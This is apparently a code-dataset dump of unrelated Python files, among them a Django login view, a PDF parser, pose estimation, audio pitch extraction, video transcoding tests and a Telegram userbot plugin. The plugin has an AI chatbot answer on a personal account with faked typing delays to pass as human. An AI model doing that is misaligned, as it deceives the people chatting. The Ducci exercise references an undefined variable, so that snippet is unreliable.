loginpassword=request.POST['loginpassword']\n\n user=authenticate(username= loginusername, password= loginpassword)\n if user is not None:\n login(request, user)\n # messages.success(request, \"Successfully Logged In\")\n thank2=True\n return render(request,'index.html',{'thank2':thank2})\n \n else:\n # messages.error(request, \"Invalid credentials! Please try again\")\n thank1=True\n return render(request,'index.html',{'thank1':thank1})\n\n return HttpResponse(\"page not found\")\n\n\n\ndef handelLogout(request):\n logout(request)\n thank7=True\n return render(request,'index.html',{'thank7':thank7})\n # messages.success(request, \"Successfully logged out\")\n # return redirect('/')","sub_path":"home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":7101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"353519691","text":"import PyPDF2,re,cv2\nimport itertools,pytesseract\nimport sys\nimport os\n\n\n\n# pdfFileObj = open('D:\\History\\Practices\\dataextraction\\ALTMP_PRD_1.pdf', 'rb')\n# pdfReader = PyPDF2.PdfFileReader(pdfFileObj)\ndef convertPDFToText(path):\n import os\n count=0\n increase=0\n print(\"enter\",path)\n a=[]\n from PyPDF2 import PdfFileReader\n from pdf2image import convert_from_path\n out=[]\n paths=cwd=os.getcwd()+\"/\"+\"resumes\"\n pdftoppm_path = r\"D:\\poppler-0.512\\bin\\pdftoppm.exe\"\n for filename in os.listdir(paths):\n \n \n files=paths+\"/\"+filename\n from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter\n from pdfminer.converter import TextConverter\n from pdfminer.layout import LAParams\n from pdfminer.pdfpage import PDFPage\n from io import StringIO\n print (files)\n \n rsrcmgr = PDFResourceManager()\n print(rsrcmgr,\"rsrcmgr\")\n retstr = StringIO()\n print(retstr,\"retstr\")\n codec = 'utf-8'\n laparams = LAParams()\n device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)\n fp = open(files, 'rb')\n interpreter = PDFPageInterpreter(rsrcmgr, device)\n password = \"\"\n maxpages = 0\n caching = True\n pagenos=set()\n\n for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):\n interpreter.process_page(page)\n\n text = retstr.getvalue()\n print(text)\n fp.close()\n device.close()\n retstr.close()\n\n print(text,\"string\")\n print('inside') \n return(text)\n\n\n\n \n","sub_path":"Cv_parser/convertPDFToText.py","file_name":"convertPDFToText.py","file_ext":"py","file_size_in_byte":1697,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"574539419","text":"import cPickle as pickle\nimport pymc3 as pm\nimport autograd.numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport math\nimport theano\nimport theano.tensor as tt\nimport sys\nimport os\nfrom theano.compile.ops import as_op\n\nfrom Emulator import *\nfrom PipeLine import *\nfrom Convergency_check import PlotMarginalLikelihood\nfrom Utilities import PlotTrace\n\nif len(sys.argv) != 5:\n print('Use this script by entering: python %s Prior Training_file ExpData Output_name' % (sys.argv[0]))\n sys.exit()\n\n\n#trainning_x = np.arange(1, 4, 0.3).reshape(-1,1)\n\n\"\"\"\nLoading prior of each variables\nwill be used to load the parameter names\nsuch that when model data is read\nit can tell which one is input parameter and which one is output \n\"\"\"\n# load the prior\nprior = pd.read_csv(sys.argv[1])\n# load the name of the variables in the prior\npar_name = list(prior)\n\n\"\"\"\nLoading experiment output data\n\"\"\"\n# rad the experiment result\ndf = pd.read_csv(sys.argv[3])\n# load the experimental error\nerror = df[list(df.filter(regex='_Error'))].as_matrix().flatten()\nexp_result = df[df.columns.drop(list(df.filter(regex='_Error')))].as_matrix().flatten()\ncov = np.square(np.diag(error))\n\n\"\"\"\nUse trained emulator\n\"\"\"\nwith open(sys.argv[2], 'rb') as buff:\n data = pickle.load(buff)\n\npipe2 = data['input_pipe']\npipe = data['output_pipe']\nsim_data = data['input_data']\nsim_para = data['input_para']\nscales = data['scales']\nnuggets = data['nuggets']\n\n\"\"\"\nwe need to normalized the observed points for better emulation\nWe need to normalize both the output and input space\nfor output space, PCA is also performed for dimension reduction\n\"\"\"\npipe.Fit(sim_data)\npipe2.Fit(sim_para)\n\nemulator = EmulatorMultiOutput(pipe2.Transform(sim_para), pipe.Transform(sim_data))\nemulator.SetCovariance(squared_exponential)\nemulator.SetScales(scales)\nemulator.SetNuggets(nuggets)\nemulator.StartUp()\n\n\nmodel = pm.Model()\n\nwith model:\n\n \"\"\"\n Interface for theano to talk to our emulator\n pymc3 uses theano for calculation\n this interface is necessary\n \"\"\"\n class EmulatorLogLikelihood(pm.Continuous):\n def __init__(self, x, *args, **kwargs):\n super(EmulatorLogLikelihood, self).__init__(*args, **kwargs)\n self.x = x\n \n def logp(self, value):\n x = tt.stack(self.x)\n return my_logp(x, value)\n \n @as_op(itypes=[tt.dvector, tt.dvector], otypes=[tt.dscalar])\n def my_logp(x, value):\n mean, var = emulator.Emulate(pipe2.Transform(np.array(x)).reshape(1, -1))\n mean = pipe.TransformInv(mean.flatten())\n var = pipe.TransformCovInv(np.diag(var)) + cov\n return np.array(mvn.logpdf(value, mean, var))\n\n parameters = []\n # form random variables according to prior \n for column in prior:\n parameters.append(pm.Uniform(column, prior[column][0], prior[column][1]))\n \n emulator_result = EmulatorLogLikelihood('emulator', x=parameters, observed=theano.shared(exp_result))\n step = pm.Metropolis()\n trace = pm.sample(2000, step=step, njobs=20)\n\n pm.traceplot(trace)\n\n # plot the result in a nice matrix of histograms\n num_par = len(par_name)\n graph_num = 1\n fig, axes2d = plt.subplots(num_par, num_par) \n \n PlotTrace(trace, par_name, prior)\n df = pm.backends.tracetab.trace_to_dataframe(trace)\n df.to_csv('%s.csv' % sys.argv[4], sep='\\t')\n\n\nwith open('%s.pkl' % sys.argv[4], 'wb') as buff:\n pickle.dump({'model': emulator, 'trace': df, \\\n 'input_pipe': pipe2, 'output_pipe': pipe, \\\n 'exp_data': exp_result, 'exp_err': error, \\\n 'prior': prior}, buff)\n \n","sub_path":"Theano_Developing/StatMetroplis.py","file_name":"StatMetroplis.py","file_ext":"py","file_size_in_byte":3631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"520139055","text":"#PF-Prac-20\n\"\"\"A Ducci sequence is a sequence of lists of integers. Given a starting list of integers, the next list in the sequence is formed by taking the absolute differences of neighboring integers in the previous list.\nStart List: [0,653,1854,4063]\n\nDucci Sequence:[653,1201,2209,4063], [548,1008,1854,3410], ...........,[0,0,0,0]\n\nAssumption: The Ducci sequence ends with a list containing 0s and the starting list contains four elements.\n\nWrite a python function that takes a starting list of integers and a number ‘n’ as input, and returns the nth element of the Ducci sequence.\n\nSample Input\tExpected Output\ntest_list=[0,653,1854,4063]\nn = 1\n\"\"\"\n#import copy\ndef ducci_sequence(test_list,n):\n #start writing your code here\n temp_list = test_list.copy()\n diff_list=[]\n final_list=[]\n end = len(test_list)-1\n \n for i in range(n+1):\n for j in range(end):\n diff = abs(temp_list[j]-temp_list[j+1])\n diff_list.append(diff)\n diff_list.append(abs(temp_list[last]-temp_list[0]))\n final_list.append(diff_list)\n temp_list=diff_list.copy()\n diff_list=[]\n\n return final_list[n]\n\nducci_element=ducci_sequence([0, 653, 1854, 4063] , 2)\nprint(ducci_element)","sub_path":"ducci_sequence.py","file_name":"ducci_sequence.py","file_ext":"py","file_size_in_byte":1235,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"352453906","text":"import parselmouth\nfrom parselmouth.praat import call\nimport os\nimport pandas as pd\n\n\n\ndef extract_pitch(input_dir,output_dir):\n\n if os.path.isdir(input_dir):\n # print(input_dir)\n for root, dirs, files in os.walk(input_dir):\n break\n for file in files:\n if file.endswith('.wav'):\n snd = parselmouth.Sound(input_dir+file)\n dur = snd.get_total_duration()\n manipulation = call(snd, \"To Manipulation\", 0.01, 75, 600)\n pitch_tier = call(manipulation, \"Extract pitch tier\")\n # print(pitch_tier)\n\n # # create a file with two columns:\n # first col is time (0.01s step by default), second col is pitch (hz)\n resultfile_padding = 'result'\n output_name = '%s%s_%s.txt' % (output_dir, file[:-4],resultfile_padding)\n call(pitch_tier, \"Write to headerless spreadsheet file\", output_name)\n print(output_name)\n # rounding time info to 2 digits\n with open('%s'%output_name, 'r', encoding='utf-8') as f:\n lines = f.readlines()\n # rounded_time = []\n # all_pitch = []\n new_lines = []\n for line in lines:\n time = line.split('\\t')[0]\n rounded = round(float(time),2)\n # rounded_time.append(rounded)\n pitch = line.split('\\t')[1]\n # all_pitch.append(pitch)\n new_line = str(rounded) + '\\t' + pitch\n new_lines.append(new_line)\n\n final = ''.join(new_lines)\n # print(final)\n\n with open('%s'%output_name, 'w', encoding='utf-8') as f:\n f.write(final)\n\n\nif __name__ == '__main__':\n dir = (\"D:\\Rokid\\pycharm\\music/align_lyrics/\")\n out = dir\n extract_pitch(dir, out)","sub_path":"AudioProcessing/feature_extraction.py","file_name":"feature_extraction.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"291880588","text":"#!/usr/bin/env python3\n\nimport colorsys\nimport hashlib\nimport os\nimport re\nimport sys\n\n\ndef parse_color(color):\n if ',' in color:\n return [int(component) for component in color.split(',')][:3]\n if color.startswith('#'):\n return (int(color[1:3], 16), int(color[3:5], 16), int(color[5:7], 16))\n raise ValueError('unable to parse color %s; try r,g,b or #FFFFFF' % color)\n\n\ndef set_bg_color(rgb):\n if not os.isatty(1): # if stdout is not a tty, don't even attempt to change colors\n return\n if os.environ.get('TERM_PROGRAM') == 'iTerm.app':\n r, g, b = rgb\n os.write(1, b'\\033]Ph%02x%02x%02x\\033\\\\' % (r, g, b))\n\n\ndef find_hostmap_match(user_host):\n if not os.path.isfile(hostmap_file):\n return\n host = user_host.group(2)\n user_host = user_host.group(0)\n with open(hostmap_file) as hostmap_fp:\n for line in hostmap_fp:\n if line.startswith('#') or '=' not in line:\n continue\n m_host, color = [p.strip() for p in line.rsplit('=', 1)]\n if any((m == m_host or re.match(m_host, m)) for m in (host, user_host)):\n return parse_color(color)\n\ndefault_color = parse_color(os.environ.get('SSHW_DEFAULT_BG') or '25,25,25')\nhostmap_file = os.path.expanduser(os.path.expandvars(os.environ.get('SSHW_HOSTMAP') or '~/.sshw_hosts'))\n\n\ndef main(argv):\n changed = False\n user_host = None\n\n # perform rudimentary parsing of the command line to find the user/host parameter\n for arg in argv[1:]:\n if arg == '--': # after the double dash everything's the command; we've missed our shot\n break\n user_host = re.match(r'([a-z0-9]+@)?([0-9a-z.]+)', arg, re.I)\n if user_host:\n break\n\n if user_host:\n rgb = find_hostmap_match(user_host)\n if not rgb:\n user, host = user_host.groups()\n host_hash = hashlib.sha1(host.encode('ascii')).digest()\n hue = host_hash[0] / 255.\n rgb = [int(c * 255) for c in colorsys.hsv_to_rgb(hue, 0.7, 0.2)]\n set_bg_color(rgb)\n changed = True\n\n if changed:\n try:\n return os.spawnvp(os.P_WAIT, 'ssh', argv)\n except KeyboardInterrupt:\n pass\n finally:\n set_bg_color(default_color)\n else:\n # if the colors weren't changed at all, we can just exec --\n # no need to attempt to restore the color -- and save some\n # memory and process table space. (as if that's at a premium.)\n return os.execvp('ssh', argv)\n\nif __name__ == '__main__':\n sys.exit(main(sys.argv))\n","sub_path":"sshw.py","file_name":"sshw.py","file_ext":"py","file_size_in_byte":2608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"103771904","text":"from __future__ import print_function\nimport os\nfrom flask_socketio import SocketIO\nfrom flask import Flask, render_template\nimport logging\n\nproject_root = os.path.dirname(__file__)\ntemplate_path = os.path.join(project_root, 'templates')\napp = Flask(__name__, template_folder=template_path, static_folder='templates')\nsocketio = SocketIO(app)\n\nlogging.getLogger('socketio').setLevel(logging.WARNING)\nlogging.getLogger('engineio').setLevel(logging.WARNING)\n\n\nclass eular_angles(object):\n def __init__(self):\n self.x = 0.0\n self.y = 0.0\n self.z = 0.0\n\n\nsp_gyro = eular_angles()\n\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n\n@socketio.on('params')\ndef test_message(message):\n # print(message)\n sp_gyro.x = message[\"x\"]\n sp_gyro.y = message[\"y\"]\n sp_gyro.z = message[\"z\"]\n\n\nif __name__ == '__main__':\n socketio.run(app, host=\"0.0.0.0\")\n","sub_path":"server_test.py","file_name":"server_test.py","file_ext":"py","file_size_in_byte":899,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"605111375","text":"\"\"\" AI chatbot \"\"\"\n\n# AI Chat Bot Module for @theUserge.\n# Lydia AI Powered by CoffeeHouse from Intellivoid (Telegram: t.me/Intellivoid)\n# Author: Phyco-Ninja (https://github.com/Phyco-Ninja) (@PhycoNinja13b)\n# Thanks to @Intellivoid For Creating CoffeeHouse API\n\n\nimport os\nimport random\nimport asyncio\n# from time import time\n\nfrom coffeehouse.lydia import LydiaAI\nfrom coffeehouse.api import API\nfrom coffeehouse.exception import CoffeeHouseError\n\nfrom userge import userge, get_collection, Message, Filters, Config\n\n\nLYDIA_CHATS = get_collection(\"LYDIA_CHATS\")\nCH_LYDIA_API = os.environ.get(\"CH_LYDIA_API\", None)\nCUSTOM_REPLY_CHANNEL = int(os.environ.get(\"CUSTOM_REPLY_CHANNEL\", 0))\nif CH_LYDIA_API is not None:\n LYDIA = LydiaAI(API(CH_LYDIA_API))\n\nACTIVE_CHATS = {}\nCUSTOM_REPLIES = []\n\nLYDIA_API_INFO = \"\"\"This module uses Lydia AI\nPowered by CoffeeHouse API created by @Intellivoid.\n\nLydia is a Active Machine Learning Chat Bot.\nWhich can adapt to current user and chat with user\non any given topic. \"\"\"\n\n\nasync def _init():\n async for chat in LYDIA_CHATS.find({'active': True}):\n ACTIVE_CHATS[chat['_id']] = (chat['session_id'], chat['session_exp'])\n if CUSTOM_REPLY_CHANNEL:\n async for message in userge.iter_history(chat_id=CUSTOM_REPLY_CHANNEL, limit=300):\n CUSTOM_REPLIES.append(message)\n\n\n# A workaround for replies of Media as per now Lydia can't process Media input,\n# And it's logical though. So this func will call custom message input by user\n# saved in a channel and reply it to message.\n# Idea arised from here (https://t.me/usergeot/157629) thnx 👍\nasync def custom_media_reply(message: Message):\n global CUSTOM_REPLIES\n if CUSTOM_REPLIES:\n cus_msg = random.choice(CUSTOM_REPLIES)\n replied = message.message_id\n if cus_msg.media:\n if cus_msg.sticker:\n await message.reply_sticker(cus_msg.sticker.file_id)\n if (cus_msg.photo or cus_msg.video or cus_msg.animation):\n dls = await userge.download_media(message=cus_msg, file_name=Config.DOWN_PATH)\n if cus_msg.photo:\n await message.reply_photo(dls)\n if cus_msg.video:\n await message.reply_video(dls)\n if cus_msg.animation:\n await userge.send_animation(\n chat_id=message.chat.id,\n animation=dls,\n unsave=True,\n reply_to_message_id=replied\n )\n os.remove(dls)\n if cus_msg.text:\n await message.reply(cus_msg.text)\n\n\n@userge.on_cmd(\"lydia\", about={\n 'header': \"Lydia AI Chat Bot\",\n 'description': \"An AI Powered Chat Bot Module\"\n \" that uses Lydia AI from CoffeeHouse.\\n\"\n \"For more info use {tr}lydia -info\",\n 'flags': {'-on': \"Enable AI on replied user\",\n '-off': \"Disable AI on replied user\",\n '-list': \"List All users\",\n '-info': \"Get Info about Lydia\"},\n 'usage': \"{tr}lydia [flag] [reply to user]\"})\nasync def lydia_session(message: Message):\n if CH_LYDIA_API is None:\n await message.edit(\n \"Please Configure `CH_LYDIA_API` & `CUSTOM_REPLY_CHANNEL`\"\n \"\\n\\nAll Instructions are available\"\n \" in @UnofficialPluginsHelp\")\n return\n\n replied = message.reply_to_message\n if '-on' in message.flags and replied:\n user_id = replied.from_user.id\n if user_id in ACTIVE_CHATS:\n await message.edit(\"AI is already Enabled on Replied User\")\n return\n data = await LYDIA_CHATS.find_one({'_id': user_id})\n if not data:\n await message.edit(\"`creating new session...`\")\n ses = LYDIA.create_session(\"en\")\n await LYDIA_CHATS.insert_one(\n {'_id': user_id, 'session_id': ses.id, 'session_exp': ses.expires, 'active': True})\n ACTIVE_CHATS[user_id] = (ses.id, ses.expires)\n else:\n await message.edit(\"`activating session...`\")\n await LYDIA_CHATS.update_one({'_id': user_id}, {\"$set\": {'active': True}})\n ACTIVE_CHATS[user_id] = (data['session_id'], data['session_exp'])\n await message.edit(\"`AI Enabled for Replied User`\", del_in=2)\n\n elif '-off' in message.flags and replied:\n user_id = replied.from_user.id\n if user_id not in ACTIVE_CHATS:\n await message.edit(\"How to delete a thing that doesn't Exist?\", del_in=5)\n return\n await message.edit(\"`disactivating session...`\")\n await LYDIA_CHATS.update_one({'_id': user_id}, {\"$set\": {'active': False}})\n del ACTIVE_CHATS[user_id]\n await message.edit(\"`AI Disable for Replied User`\", del_in=5)\n\n # Group Features Won't be displayed in Help Info For Now 😉\n elif '-enagrp' in message.flags:\n chat_id = message.chat.id\n if chat_id in ACTIVE_CHATS:\n await message.edit(\"AI is already Enabled on this chat\")\n return\n data = await LYDIA_CHATS.find_one({'_id': chat_id})\n if not data:\n await message.edit(\"`creating new session...`\")\n ses = LYDIA.create_session(\"en\")\n await LYDIA_CHATS.insert_one(\n {'_id': chat_id, 'session_id': ses.id, 'session_exp': ses.expires, 'active': True})\n ACTIVE_CHATS[chat_id] = (ses.id, ses.expires)\n else:\n await message.edit(\"`activating session...`\")\n await LYDIA_CHATS.update_one({'_id': chat_id}, {\"$set\": {'active': True}})\n ACTIVE_CHATS[chat_id] = (data['session_id'], data['session_exp'])\n await message.edit(\"`AI Enabled in Current Chat :D`\")\n\n elif '-disgrp' in message.flags:\n chat_id = message.chat.id\n if chat_id not in ACTIVE_CHATS:\n await message.edit(\"AI wasn't enabled in current chat. >:(\", del_in=5)\n return\n await message.edit(\"`disactivating session...`\")\n await LYDIA_CHATS.update_one({'_id': chat_id}, {\"$set\": {'active': False}})\n del ACTIVE_CHATS[chat_id]\n await message.edit(\"`AI Disabled in Current Chat`\", del_in=5)\n\n elif '-grps' in message.flags:\n msg = \"**AI Enabled Chats**\\n\\n\"\n for chat_id in ACTIVE_CHATS:\n if not str(chat_id).startswith(\"-100\"):\n continue\n chat_ = await userge.get_chat(chat_id)\n title = chat_.title\n msg += f\"{title} {chat_id}\\n\"\n await message.edit_or_send_as_file(msg)\n\n elif '-list' in message.flags:\n msg = \"**AI Enabled User List**\\n\\n\"\n for user_id in ACTIVE_CHATS:\n if str(user_id).startswith(\"-100\"):\n continue\n u_info = await userge.get_user_dict(user_id)\n u_men = u_info['mention']\n msg += f\"{u_men}\\n\"\n await message.edit_or_send_as_file(msg)\n\n elif '-info' in message.flags:\n await message.reply_photo(photo=\"resources/lydia.jpg\", caption=LYDIA_API_INFO)\n else:\n await message.reply_sticker(\"CAADAQAEAQAC0rXRRju3sbCT07jIFgQ\")\n\n\n@userge.on_filters(~Filters.me & (Filters.mentioned | Filters.private))\nasync def lydia_ai_chat(message: Message):\n \"\"\" incomming message handler \"\"\"\n if CH_LYDIA_API is None:\n return\n data = ACTIVE_CHATS.get(message.from_user.id, None) or ACTIVE_CHATS.get(message.chat.id, None)\n if data:\n if message.media:\n await custom_media_reply(message)\n else:\n ses = LYDIA.get_session(data[0])\n mess_text = message.text\n # if int(ses_exp) < time():\n # ses = lydia.create_session(\"en\")\n # ses_id = ses.id\n # ses_exp = ses.expires\n # await LYDIA_SESSION.find_one_and_update(\n # {'uid': \"LYDIA_SES\"},\n # {\"$set\": {'session_id': ses_id, 'session_exp': ses_exp}})\n try:\n output_ = LYDIA.think_thought(ses.id, mess_text)\n await message.reply_chat_action(\"typing\")\n await asyncio.sleep(7)\n await message.reply_chat_action(\"typing\")\n await asyncio.sleep(2)\n await message.reply_chat_action(\"cancel\")\n await message.reply(output_)\n except CoffeeHouseError:\n pass\n message.continue_propagation()\n","sub_path":"plugins/lydia.py","file_name":"lydia.py","file_ext":"py","file_size_in_byte":8450,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"535567864","text":"from unittest import mock\n\nimport pymediainfo\nfrom fffw.wrapper.helpers import ensure_text\n\nfrom video_transcoding import transcoding\nfrom video_transcoding.tests.base import BaseTestCase\n\n\nclass TranscodingTestCase(BaseTestCase):\n \"\"\" Video file transcoding tests.\"\"\"\n\n # Minimal mediainfo output template to mock MediaInfo.parse result\n media_info_xml = \"\"\"\n\n\n1\n1\n\n\n\n{video_duration:.3f}\n{video_bitrate}\n{width}\n{height}\n{par:.3f}\n{aspect:.3f}\n{video_frame_rate:.3f}\n{video_frames}\n\n\n\n{audio_duration:.3f}\n{audio_bitrate}\n{audio_sampling_rate}\n{audio_samples}\n\n\n\n\"\"\"\n\n # Default video file metadata\n metadata = {\n 'width': 1920,\n 'height': 1080,\n 'aspect': 1.778,\n 'par': 1.0,\n transcoding.VIDEO_DURATION: 3600.22,\n 'video_bitrate': 5000000,\n 'video_frame_rate': 24.97,\n 'audio_bitrate': 192000,\n 'audio_sampling_rate': 48000,\n transcoding.AUDIO_DURATION: 3600.22,\n }\n\n def setUp(self):\n self.source = 'http://ya.ru/source.mp4'\n self.dest = '/tmp/result.mp4'\n self.media_info = {\n self.source: self.prepare_metadata(),\n self.dest: self.prepare_metadata()\n }\n\n self.transcoder = transcoding.Transcoder(self.source, self.dest)\n\n self.media_info_patcher = mock.patch.object(\n pymediainfo.MediaInfo, 'parse', side_effect=self.get_media_info)\n self.media_info_mock = self.media_info_patcher.start()\n\n self.runner_mock = mock.MagicMock(\n return_value=(0, '', '')\n )\n\n self.runner_patcher = mock.patch(\n 'fffw.encoding.ffmpeg.FFMPEG.runner_class',\n return_value=self.runner_mock)\n self.ffmpeg_mock = self.runner_patcher.start()\n\n def tearDown(self):\n self.media_info_patcher.stop()\n self.runner_patcher.stop()\n\n def prepare_metadata(self, **kwargs):\n \"\"\"\n Modifies metadata template with new values.\n \"\"\"\n media_info = self.metadata.copy()\n media_info.update(kwargs)\n return media_info\n\n def get_media_info(self, filename) -> pymediainfo.MediaInfo:\n \"\"\" Prepares mediainfo result for file.\"\"\"\n metadata = self.media_info[filename]\n rate = metadata['audio_sampling_rate']\n audio_duration = metadata['audio_duration']\n fps = metadata['video_frame_rate']\n video_duration = metadata['video_duration']\n xml = self.media_info_xml.format(\n filename=filename,\n audio_samples=int(rate * audio_duration),\n video_frames=int(fps * video_duration),\n **metadata)\n return pymediainfo.MediaInfo(xml)\n\n def test_smoke(self):\n \"\"\"\n ffmpeg arguments test.\n \"\"\"\n self.transcoder.transcode()\n ffmpeg_args = [\n 'ffmpeg',\n '-loglevel', 'repeat+level+info',\n '-y',\n '-i', self.source,\n '-filter_complex', '[0:v]scale=w=1920:h=1080[vout0]',\n '-map', '[vout0]',\n '-c:v', 'libx264',\n '-force_key_frames',\n 'expr:if(isnan(prev_forced_t),1,gte(t,prev_forced_t+4))',\n '-crf', '23',\n '-preset', 'slow',\n '-maxrate', '5000000',\n '-bufsize', '10000000',\n '-profile:v', 'high',\n '-g', '49',\n '-r', '24.97',\n '-map', '0:a',\n '-c:a', 'aac',\n '-b:a', '192000',\n '-ar', '48000',\n '-ac', '2',\n '-f', 'mp4', self.dest\n ]\n args, kwargs = self.ffmpeg_mock.call_args\n self.assertEqual(ensure_text(args), tuple(ffmpeg_args))\n","sub_path":"src/video_transcoding/tests/test_transcoding.py","file_name":"test_transcoding.py","file_ext":"py","file_size_in_byte":4179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"482091616","text":"import tensorflow as tf\nimport cv2\nimport datetime\nimport time\nimport argparse\nimport os\n\nimport posenet\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--model', type=int, default=101)\nparser.add_argument('--scale_factor', type=float, default=1.0)\nparser.add_argument('--notxt', action='store_true')\nparser.add_argument('--video', type=str, required=True)\nargs = parser.parse_args()\n\n\ndef main():\n\n with tf.Session() as sess:\n model_cfg, model_outputs = posenet.load_model(args.model, sess)\n output_stride = model_cfg['output_stride']\n\n video = cv2.VideoCapture(args.video)\n formatted_date = datetime.datetime.now().strftime(\"%Y%m%d-%H%M\")\n path = '/opt/cv/result/pose-results/posenet/' + formatted_date + '-' + str(args.model)\n i = 0\n\n if not os.path.exists(path):\n os.makedirs(path)\n\n start = time.time()\n\n while True:\n input_image, draw_image, output_scale = posenet.read_cap(\n video, scale_factor=args.scale_factor, output_stride=output_stride)\n\n if input_image is None:\n break\n\n heatmaps_result, offsets_result, displacement_fwd_result, displacement_bwd_result = sess.run(\n model_outputs,\n feed_dict={'image:0': input_image}\n )\n\n pose_scores, keypoint_scores, keypoint_coords = posenet.decode_multiple_poses(\n heatmaps_result.squeeze(axis=0),\n offsets_result.squeeze(axis=0),\n displacement_fwd_result.squeeze(axis=0),\n displacement_bwd_result.squeeze(axis=0),\n output_stride=output_stride,\n max_pose_detections=10,\n min_pose_score=0.25)\n\n keypoint_coords *= output_scale\n\n draw_image = posenet.draw_skel_and_kp(\n draw_image, pose_scores, keypoint_scores, keypoint_coords,\n min_pose_score=0.25, min_part_score=0.25)\n\n cv2.imwrite(path + '/' + str(i) + '.jpg', draw_image)\n\n if not args.notxt:\n print()\n print(\"Results for image: %i\" % i)\n for pi in range(len(pose_scores)):\n if pose_scores[pi] == 0.:\n break\n print('Pose #%d, score = %f' % (pi, pose_scores[pi]))\n for ki, (s, c) in enumerate(zip(keypoint_scores[pi, :], keypoint_coords[pi, :, :])):\n print('Keypoint %s, score = %f, coord = %s' % (posenet.PART_NAMES[ki], s, c))\n\n i += 1\n\n print('Average FPS:', i / (time.time() - start))\n\n\nif __name__ == \"__main__\":\n main()","sub_path":"video.py","file_name":"video.py","file_ext":"py","file_size_in_byte":2679,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"610195834","text":"#导入需要的包\n\n\nimport os\nos.environ[\"CUDA_VISIBLE_DEVICES\"]='0'\nimport zipfile\nimport random\nimport json\nimport cv2\nimport numpy as np\nfrom PIL import Image\nimport paddle\nimport paddle.fluid as fluid\nfrom paddle.fluid.dygraph import Linear, Conv2D, BatchNorm\nimport matplotlib.pyplot as plt\nfrom paddle.fluid.param_attr import ParamAttr\n\ntrain_parameters = {\n \"input_size\": [1, 20, 20], #输入图片的shape\n \"class_dim\": -1, #分类数\n \"src_path\":\"data/data23617/characterData.zip\", #原始数据集路径\n \"target_path\":\"./data/data23617\", #要解压的路径 \n \"train_list_path\": \"./train_data.txt\", #train_data.txt路径\n \"eval_list_path\": \"./val_data.txt\", #eval_data.txt路径\n \"label_dict\":{}, #标签字典\n \"readme_path\": \"/home/aistudio/data/readme.json\", #readme.json路径\n \"num_epochs\": 1, #训练轮数\n \"train_batch_size\": 32, #批次的大小\n \"learning_strategy\": { #优化函数相关的配置\n \"lr\": 0.001 #超参数学习率\n } \n}\n\ndef unzip_data(src_path,target_path):\n '''\n 解压原始数据集,将src_path路径下的zip包解压至data/dataset目录下\n '''\n if(not os.path.isdir(target_path)): \n z = zipfile.ZipFile(src_path, 'r')\n z.extractall(path=target_path)\n z.close()\n else:\n print(\"文件已解压\")\n \n\n\ndef get_data_list(target_path,train_list_path,eval_list_path):\n '''\n 生成数据列表\n '''\n #存放所有类别的信息\n class_detail = []\n #获取所有类别保存的文件夹名称\n data_list_path=target_path\n class_dirs = os.listdir(data_list_path)\n if '__MACOSX' in class_dirs:\n class_dirs.remove('__MACOSX')\n # #总的图像数量\n all_class_images = 0\n # #存放类别标签\n class_label=0\n # #存放类别数目\n class_dim = 0\n # #存储要写进eval.txt和train.txt中的内容\n trainer_list=[]\n eval_list=[]\n #读取每个类别\n for class_dir in class_dirs:\n if class_dir != \".DS_Store\":\n class_dim += 1\n #每个类别的信息\n class_detail_list = {}\n eval_sum = 0\n trainer_sum = 0\n #统计每个类别有多少张图片\n class_sum = 0\n #获取类别路径 \n path = os.path.join(data_list_path,class_dir)\n # print(path)\n # 获取所有图片\n img_paths = os.listdir(path)\n for img_path in img_paths: # 遍历文件夹下的每个图片\n if img_path =='.DS_Store':\n continue\n name_path = os.path.join(path,img_path) # 每张图片的路径\n if class_sum % 10 == 0: # 每10张图片取一个做验证数据\n eval_sum += 1 # eval_sum为测试数据的数目\n eval_list.append(name_path + \"\\t%d\" % class_label + \"\\n\")\n else:\n trainer_sum += 1 \n trainer_list.append(name_path + \"\\t%d\" % class_label + \"\\n\")#trainer_sum测试数据的数目\n class_sum += 1 #每类图片的数目\n all_class_images += 1 #所有类图片的数目\n \n # 说明的json文件的class_detail数据\n class_detail_list['class_name'] = class_dir #类别名称\n class_detail_list['class_label'] = class_label #类别标签\n class_detail_list['class_eval_images'] = eval_sum #该类数据的测试集数目\n class_detail_list['class_trainer_images'] = trainer_sum #该类数据的训练集数目\n class_detail.append(class_detail_list) \n #初始化标签列表\n train_parameters['label_dict'][str(class_label)] = class_dir\n class_label += 1\n \n #初始化分类数\n train_parameters['class_dim'] = class_dim\n print(train_parameters)\n #乱序 \n random.shuffle(eval_list)\n with open(eval_list_path, 'a', encoding='utf-8') as f:\n for eval_image in eval_list:\n f.write(eval_image) \n #乱序 \n random.shuffle(trainer_list) \n with open(train_list_path, 'a', encoding='utf-8') as f2:\n for train_image in trainer_list:\n f2.write(train_image) \n\n # 说明的json文件信息\n readjson = {}\n readjson['all_class_name'] = data_list_path #文件父目录\n readjson['all_class_images'] = all_class_images\n readjson['class_detail'] = class_detail\n jsons = json.dumps(readjson, sort_keys=True, indent=4, separators=(',', ': '))\n with open(train_parameters['readme_path'],'w') as f:\n f.write(jsons)\n print ('生成数据列表完成!')\n\n\ndef data_reader(file_list):\n '''\n 